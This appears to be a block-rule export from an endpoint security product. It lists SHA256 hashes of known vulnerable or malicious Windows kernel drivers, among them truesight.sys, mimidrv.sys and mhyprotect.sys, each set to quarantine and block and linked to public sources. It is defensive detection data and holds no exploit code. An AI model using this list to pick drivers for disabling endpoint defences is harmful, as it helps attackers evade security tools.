+  "id": "e42ae20d-cc86-5322-a490-4b9cf30f150a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.981801Z",
+  "creation_date": "2026-03-23T11:45:29.981803Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.981809Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dfaefd06b680f9ea837e7815fc1cc7d1f4cc375641ac850667ab20739f46ad22",
+  "comment": "Vulnerable Kernel Driver (aka netfilter2.sys) [https://www.loldrivers.io/drivers/5ad8a3b6-6d20-4c95-8fa7-9a507167ba3c/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e434abe6-b708-509f-bbaa-2fc7db032dd2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.825316Z",
+  "creation_date": "2026-03-23T11:45:30.825319Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.825327Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7eedcffe6307d3ed362abccdba78c801f02eb6e1ec409b350c85b46af6cb78a8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e439795b-3935-5d3e-9a77-acddecf92b81",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.145921Z",
+  "creation_date": "2026-03-23T11:45:31.145924Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.145932Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2dc4b9468188d2f82162d605bf5ee5cd15826af5758708dc4df9260c3e301afd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e43bd353-9a22-5267-ab25-e86d8cb33707",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.495632Z",
+  "creation_date": "2026-03-23T11:45:31.495635Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.495643Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "090c615cc3e63a3960f7ecaad8db7305308a6b38e1a4648a24f75f39a9d59318",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e43e1132-eb39-5857-b0b2-dde3cb8248c4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.149536Z",
+  "creation_date": "2026-03-23T11:45:31.149539Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.149549Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ea1393cb9e0e2e0dcb9447803ef545cd15450888e3d11b95687fec5e7120951c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e4540ad0-a322-51ff-827a-e623ea00cf0c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.613824Z",
+  "creation_date": "2026-03-23T11:45:29.613826Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.613831Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "20c87381f8f0bf953cb109a5d50a2184c0104cc8ab30e2f94dfba89a5d19b9d8",
+  "comment": "BioStar Microtech drivers vulnerable to kernel memory mapping function (aka BSMEMx64.sys, BSMIXP64.sys, BSMIx64.sys, BS_Flash64.sys, BS_HWMIO64_W10.sys, BS_HWMIo64.sys and BS_I2c64.sys) [https://www.loldrivers.io/drivers/9e87b6b0-00ed-4259-bcd7-05e2c924d58c/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e466229e-6f49-5adb-a49b-76ca430abbee",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.469571Z",
+  "creation_date": "2026-03-23T11:45:30.469575Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.469583Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2c5c067497a0490e9fe79d0e4f9f759af93138b1a0bea08a89af09e119390c7a",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e46a6add-3fef-53a3-8afa-9bddb547f6e4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.482454Z",
+  "creation_date": "2026-03-23T11:45:31.482458Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.482467Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "89df4a4c238e810dfce318f53f61f4837c821f3b6387e82be653d59f1e5202d6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e46c1780-5889-5489-8813-2669a63d87e3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.149336Z",
+  "creation_date": "2026-03-23T11:45:31.149338Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.149344Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c610def6e9b350c198eeaa929743e1ba961cca04eff5a65b1e5b5eeed71f7d1b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e46e1ee8-407f-5dfb-be22-a02a191749d3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.494457Z",
+  "creation_date": "2026-03-23T11:45:31.494459Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.494465Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5c095dcbe167ec1a6b128d565954da5d68361780afdf89286860a572bd8210d2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e47e8046-bdf5-52bf-9223-b5e9683b73ab",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.151498Z",
+  "creation_date": "2026-03-23T11:45:31.151501Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.151511Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0b2007739377d936d092b86d05f8cbaaf72330033d9a1601fa7b0dda4923f927",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e49510a1-37c7-5849-9ccb-d9d46952dcb4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.811933Z",
+  "creation_date": "2026-03-23T11:45:31.811936Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.811941Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a277340559f47f2bb547268d30d302864d7b80600e0331d242b29235001b1048",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e4961f21-2f5d-5aa2-9b5f-dd803d0955f3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.972198Z",
+  "creation_date": "2026-03-23T11:45:29.972202Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.972210Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "785e87bc23a1353fe0726554fd009aca69c320a98445a604a64e23ab45108087",
+  "comment": "Intel Ethernet diagnostics vulnerable driver (aka iQVW64.sys) [CVE-2015-2291] [https://www.loldrivers.io/drivers/1d2cdef1-de44-4849-80e5-e2fa288df681/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e498e987-6b6c-5fc7-9dc9-a930230ad597",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.818683Z",
+  "creation_date": "2026-03-23T11:45:30.818686Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.818691Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9e855f9d5f5f4dc9420f34045df5d2c70498468f076d873571fc62e4015e38d3",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e4a155ab-6117-5a67-97f2-60f2054ca123",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.977374Z",
+  "creation_date": "2026-03-23T11:45:29.977376Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.977382Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "082d4d4d4ba1bda5e1599bd24e930ae9f000e7d12b00f7021cca90a4600ea470",
+  "comment": "Vulnerable Kernel Driver (aka ProtectS.sys) [https://www.loldrivers.io/drivers/99668140-a8f6-48f8-86d1-cf3bf693600c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e4a22f12-95f2-5f71-bff3-25ce095bebe2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.494728Z",
+  "creation_date": "2026-03-23T11:45:31.494730Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.494735Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "aa0014bf98d3e807ad05fd465c160b2e2a6fc85b63cab8b44571d54636a1a684",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e4a40c04-3718-5057-b001-f426504b92be",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.461781Z",
+  "creation_date": "2026-03-23T11:45:30.461784Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.461793Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "14bd76f66fe5749d1812f7cf47cc5f9a8a830c53a7ede5e42a14a4140a70f5d2",
+  "comment": "Vulnerable Kernel Driver (aka mhyprotect.sys) [https://www.loldrivers.io/drivers/7abc873d-9c28-44c2-8f60-701a8e26af29/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e4a78d58-c104-5488-9b9d-410cadce7b04",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.828155Z",
+  "creation_date": "2026-03-23T11:45:30.828157Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.828162Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0ca522bfa1a08f92ad68c77df2ec585452072d87484ae93f778df07af19cf76f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e4a9cb56-a3ad-5750-911b-70ad2ddc2b75",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.827954Z",
+  "creation_date": "2026-03-23T11:45:30.827957Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.827965Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3807e9a1bc159b9e8fc0c7caad10d7213ff8ed8ad1cea9ea552b093c81bf624b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e4abfe1c-cac0-591d-9f9c-8f685868374f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.615255Z",
+  "creation_date": "2026-03-23T11:45:29.615257Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.615262Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6f96c129eb96bc4df9a7d247a98fecb9a3801dde63281ac1aba3d2ef869d32a5",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e4b0afa1-1623-5c44-b245-093aa1840e4b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.976482Z",
+  "creation_date": "2026-03-23T11:45:29.976484Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.976490Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "43374fd68dc06c8491b16d177156444ee44f497bbceafd0165f40ba48bf6802f",
+  "comment": "Malicious attestation-signed Drivers (aka NodeDriver.sys, 4.sys, Air_SYSTEM10.sys etc.) [https://www.mandiant.com/resources/blog/hunting-attestation-signed-malware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e4b80841-e72b-579a-ac61-f40f15e9d523",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.148899Z",
+  "creation_date": "2026-03-23T11:45:31.148901Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.148906Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "da991abd9e1c29dd2a1dc0052222d7ca680ef98f7b953ee2f1c97e2edd189c43",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e4ba60c3-c528-5fbf-815c-3171b5cfad2f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
